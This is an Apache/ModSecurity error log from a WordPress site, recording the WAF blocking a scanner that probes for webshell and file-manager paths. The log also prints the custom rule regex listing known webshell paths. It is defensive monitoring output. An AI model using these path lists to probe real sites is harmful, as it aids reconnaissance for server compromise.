[Wed Apr 22 03:58:55.796501 2026] [:error] [pid 23041:tid 23045] [client 43.159.136.201:49380] [client 43.159.136.201] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aefW_0TXx_lUa7xwAb5y2gAAAQE"]
[Wed Apr 22 03:59:15.484357 2026] [:error] [pid 21682:tid 21733] [client 51.103.104.209:52763] [client 51.103.104.209] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "vetstars.com.au"] [uri "/tinyfilemanager.php"] [unique_id "aefXE5lXWQZUlmPHS3rM8QAAAEo"]
[Wed Apr 22 03:59:31.171808 2026] [autoindex:error] [pid 21683:tid 21766] [client 51.103.104.209:47270] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/jquery/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 03:59:51.552428 2026] [:error] [pid 21683:tid 21766] [client 51.103.104.209:47270] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ms-edit.php"] [unique_id "aefXN1ZBWT-0diZyYyZThgAAAJA"]
[Wed Apr 22 03:59:52.591488 2026] [:error] [pid 23041:tid 23046] [client 51.103.104.209:44047] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ms-edit.php"] [unique_id "aefXOETXx_lUa7xwAb5ztgAAAQI"]
[Wed Apr 22 03:59:54.115063 2026] [:error] [pid 21682:tid 21745] [client 51.103.104.209:47837] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ms-edit.php"] [unique_id "aefXOplXWQZUlmPHS3rNDAAAAFY"]
[Wed Apr 22 03:59:55.084073 2026] [:error] [pid 23041:tid 23055] [client 51.103.104.209:47071] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ms-edit.php"] [unique_id "aefXO0TXx_lUa7xwAb5zuAAAAQs"]
[Wed Apr 22 03:59:56.683497 2026] [:error] [pid 23041:tid 23063] [client 51.103.104.209:5369] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/222.php"] [unique_id "aefXPETXx_lUa7xwAb5zuwAAARM"]
[Wed Apr 22 03:59:57.750206 2026] [:error] [pid 21683:tid 21751] [client 51.103.104.209:40197] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/222.php"] [unique_id "aefXPVZBWT-0diZyYyZTjQAAAIE"]
[Wed Apr 22 03:59:58.689894 2026] [:error] [pid 21683:tid 21758] [client 51.103.104.209:47821] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/222.php"] [unique_id "aefXPlZBWT-0diZyYyZTkAAAAIg"]
[Wed Apr 22 04:00:00.038817 2026] [:error] [pid 21681:tid 21694] [client 51.103.104.209:46474] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/222.php"] [unique_id "aefXQN5LmJziq-yZYawOXwAAAAQ"]
[Wed Apr 22 04:00:01.600400 2026] [:error] [pid 21681:tid 21703] [client 51.103.104.209:39631] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cgi-bin/index.php"] [unique_id "aefXQd5LmJziq-yZYawOYAAAAA0"]
[Wed Apr 22 04:00:03.543303 2026] [:error] [pid 23041:tid 23061] [client 51.103.104.209:61221] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cgi-bin/index.php"] [unique_id "aefXQ0TXx_lUa7xwAb5zxgAAARE"]
[Wed Apr 22 04:00:05.375131 2026] [:error] [pid 23041:tid 23062] [client 51.103.104.209:46537] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cgi-bin/index.php"] [unique_id "aefXRUTXx_lUa7xwAb5zzwAAARI"]
[Wed Apr 22 04:00:07.874459 2026] [:error] [pid 21681:tid 21695] [client 51.103.104.209:57179] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cgi-bin/index.php"] [unique_id "aefXR95LmJziq-yZYawOYgAAAAU"]
[Wed Apr 22 04:00:09.513927 2026] [:error] [pid 23041:tid 23048] [client 51.103.104.209:37622] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fff.php"] [unique_id "aefXSUTXx_lUa7xwAb5z0wAAAQQ"]
[Wed Apr 22 04:00:20.210276 2026] [:error] [pid 21681:tid 21708] [client 51.103.104.209:61209] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fff.php"] [unique_id "aefXVN5LmJziq-yZYawOcAAAABI"]
[Wed Apr 22 04:00:24.197060 2026] [:error] [pid 21681:tid 21690] [client 51.103.104.209:50369] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/"] [unique_id "aefXWN5LmJziq-yZYawOeAAAAAA"]
[Wed Apr 22 04:00:30.676399 2026] [:error] [pid 23041:tid 23044] [client 51.103.104.209:51033] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/"] [unique_id "aefXXkTXx_lUa7xwAb5z8gAAAQA"]
[Wed Apr 22 04:00:32.735074 2026] [:error] [pid 21682:tid 21724] [client 51.103.104.209:37591] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/"] [unique_id "aefXYJlXWQZUlmPHS3rNOAAAAEE"]
[Wed Apr 22 04:00:34.004327 2026] [:error] [pid 21681:tid 21701] [client 51.103.104.209:54020] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/"] [unique_id "aefXYt5LmJziq-yZYawOjAAAAAs"]
[Wed Apr 22 04:00:35.361384 2026] [:error] [pid 23041:tid 23045] [client 51.103.104.209:54079] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we.php"] [unique_id "aefXY0TXx_lUa7xwAb5z9gAAAQE"]
[Wed Apr 22 04:00:36.335839 2026] [:error] [pid 21682:tid 21739] [client 51.103.104.209:37057] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we.php"] [unique_id "aefXZJlXWQZUlmPHS3rNPgAAAFA"]
[Wed Apr 22 04:00:37.658141 2026] [:error] [pid 21683:tid 21769] [client 51.103.104.209:43689] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we.php"] [unique_id "aefXZVZBWT-0diZyYyZTsQAAAJM"]
[Wed Apr 22 04:00:38.534692 2026] [:error] [pid 23041:tid 23062] [client 51.103.104.209:5785] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we.php"] [unique_id "aefXZkTXx_lUa7xwAb5z-QAAARI"]
[Wed Apr 22 04:00:39.796615 2026] [:error] [pid 23041:tid 23058] [client 51.103.104.209:54022] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alpha.php"] [unique_id "aefXZ0TXx_lUa7xwAb5z_AAAAQ4"]
[Wed Apr 22 04:00:40.871985 2026] [:error] [pid 23041:tid 23054] [client 51.103.104.209:49200] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alpha.php"] [unique_id "aefXaETXx_lUa7xwAb50AAAAAQo"]
[Wed Apr 22 04:00:42.146151 2026] [:error] [pid 21681:tid 21706] [client 51.103.104.209:43286] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alpha.php"] [unique_id "aefXat5LmJziq-yZYawOlQAAABA"]
[Wed Apr 22 04:00:43.015311 2026] [:error] [pid 21681:tid 21692] [client 51.103.104.209:43444] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alpha.php"] [unique_id "aefXa95LmJziq-yZYawOmAAAAAI"]
[Wed Apr 22 04:00:43.896797 2026] [:error] [pid 23041:tid 23052] [client 51.103.104.209:37057] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/makeasmtp.php"] [unique_id "aefXa0TXx_lUa7xwAb50BQAAAQg"]
[Wed Apr 22 04:00:44.696801 2026] [:error] [pid 21681:tid 21701] [client 51.103.104.209:41723] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/makeasmtp.php"] [unique_id "aefXbN5LmJziq-yZYawOmgAAAAs"]
[Wed Apr 22 04:00:46.121135 2026] [:error] [pid 23041:tid 23058] [client 51.103.104.209:5772] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/makeasmtp.php"] [unique_id "aefXbkTXx_lUa7xwAb50CgAAAQ4"]
[Wed Apr 22 04:01:30.656576 2026] [autoindex:error] [pid 21682:tid 21746] [client 51.103.104.209:5493] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/css/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 04:01:36.839627 2026] [autoindex:error] [pid 21682:tid 21728] [client 51.103.104.209:5493] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/l10n/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 04:02:18.520077 2026] [:error] [pid 21682:tid 21733] [client 51.103.104.209:5493] [client 51.103.104.209] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "aefXyplXWQZUlmPHS3rNtwAAAEo"]
[Wed Apr 22 04:02:20.905951 2026] [:error] [pid 21788:tid 21803] [client 51.103.104.209:56425] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f35.php"] [unique_id "aefXzH7OM27rzVpef244wAAAAM0"]
[Wed Apr 22 04:02:28.861798 2026] [:error] [pid 23041:tid 23061] [client 51.103.104.209:45337] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f35.php"] [unique_id "aefX1ETXx_lUa7xwAb515QAAARE"]
[Wed Apr 22 04:02:32.340134 2026] [:error] [pid 21788:tid 21806] [client 51.103.104.209:49613] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f35.php"] [unique_id "aefX2H7OM27rzVpef2448AAAANA"]
[Wed Apr 22 04:02:33.351774 2026] [:error] [pid 21788:tid 21807] [client 51.103.104.209:49662] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "aefX2X7OM27rzVpef2449gAAANE"]
[Wed Apr 22 04:02:34.389328 2026] [:error] [pid 21682:tid 21724] [client 51.103.104.209:5944] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "aefX2plXWQZUlmPHS3rNwAAAAEE"]
[Wed Apr 22 04:02:35.312103 2026] [:error] [pid 21683:tid 21768] [client 51.103.104.209:64652] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "aefX21ZBWT-0diZyYyZUVgAAAJI"]
[Wed Apr 22 04:02:36.329781 2026] [:error] [pid 21683:tid 21773] [client 51.103.104.209:40175] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "aefX3FZBWT-0diZyYyZUWQAAAJc"]
[Wed Apr 22 04:02:37.275695 2026] [:error] [pid 21788:tid 21797] [client 51.103.104.209:40649] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/SimplePie/"] [unique_id "aefX3X7OM27rzVpef244_QAAAMc"]
[Wed Apr 22 04:02:38.432614 2026] [:error] [pid 21683:tid 21766] [client 51.103.104.209:44892] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/SimplePie/"] [unique_id "aefX3lZBWT-0diZyYyZUXAAAAJA"]
[Wed Apr 22 04:02:39.377921 2026] [:error] [pid 21681:tid 21695] [client 51.103.104.209:40744] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/SimplePie/"] [unique_id "aefX395LmJziq-yZYawO7wAAAAU"]
[Wed Apr 22 04:02:40.142280 2026] [:error] [pid 21683:tid 21767] [client 51.103.104.209:53991] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/SimplePie/"] [unique_id "aefX4FZBWT-0diZyYyZUXgAAAJE"]
[Wed Apr 22 04:02:41.354766 2026] [:error] [pid 21681:tid 21694] [client 51.103.104.209:38419] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/prv8.php"] [unique_id "aefX4d5LmJziq-yZYawO8QAAAAQ"]
[Wed Apr 22 04:02:42.491230 2026] [:error] [pid 21681:tid 21691] [client 51.103.104.209:59719] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/prv8.php"] [unique_id "aefX4t5LmJziq-yZYawO9QAAAAE"]
[Wed Apr 22 04:02:43.632545 2026] [:error] [pid 21788:tid 21796] [client 51.103.104.209:60971] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/prv8.php"] [unique_id "aefX437OM27rzVpef245EQAAAMY"]
[Wed Apr 22 04:02:45.729147 2026] [:error] [pid 21788:tid 21797] [client 51.103.104.209:36749] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/prv8.php"] [unique_id "aefX5X7OM27rzVpef245GAAAAMc"]
[Wed Apr 22 04:02:49.179271 2026] [:error] [pid 21683:tid 21774] [client 51.103.104.209:45129] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/k.php"] [unique_id "aefX6VZBWT-0diZyYyZUYwAAAJg"]
[Wed Apr 22 04:02:53.168924 2026] [:error] [pid 21788:tid 21805] [client 51.103.104.209:5970] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/k.php"] [unique_id "aefX7X7OM27rzVpef245MwAAAM8"]
[Wed Apr 22 04:02:57.211803 2026] [:error] [pid 21682:tid 21739] [client 51.103.104.209:51538] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/k.php"] [unique_id "aefX8ZlXWQZUlmPHS3rN6gAAAFA"]
[Wed Apr 22 04:03:00.581960 2026] [:error] [pid 21788:tid 21797] [client 51.103.104.209:51560] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/k.php"] [unique_id "aefX9H7OM27rzVpef245RQAAAMc"]
[Wed Apr 22 04:03:02.660228 2026] [:error] [pid 21683:tid 21762] [client 51.103.104.209:38828] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dev.php"] [unique_id "aefX9lZBWT-0diZyYyZUcgAAAIw"]
